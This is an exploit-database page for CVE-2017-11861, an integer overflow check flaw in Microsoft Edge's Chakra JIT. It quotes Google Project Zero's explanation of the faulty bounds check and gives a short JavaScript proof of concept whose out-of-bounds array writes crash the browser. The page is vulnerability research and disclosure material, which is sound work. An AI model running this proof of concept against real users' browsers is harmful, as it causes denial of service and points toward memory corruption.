Materialized exploit

CVE-2017-11861

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra: JIT - 'Lowerer::LowerBoundCheck' Incorrect Integer Overflow Check

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343

Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
    ...
    if(rightOpnd->IsIntConstOpnd())
    {
        IntConstType newOffset;
        if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
        {
            offset = newOffset;
            rightOpnd = nullptr;
            offsetOpnd = nullptr;
        }
    }
    ...
    if(!rightOpnd)
    {
        rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
    }
}

At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.

PoC:
*/

function f() {
    let arr = new Uint32Array(0x1000);
    for (let i = 0; i < 0x7fffffff;) {
        arr[++i] = 0x1234;
    }
}

f();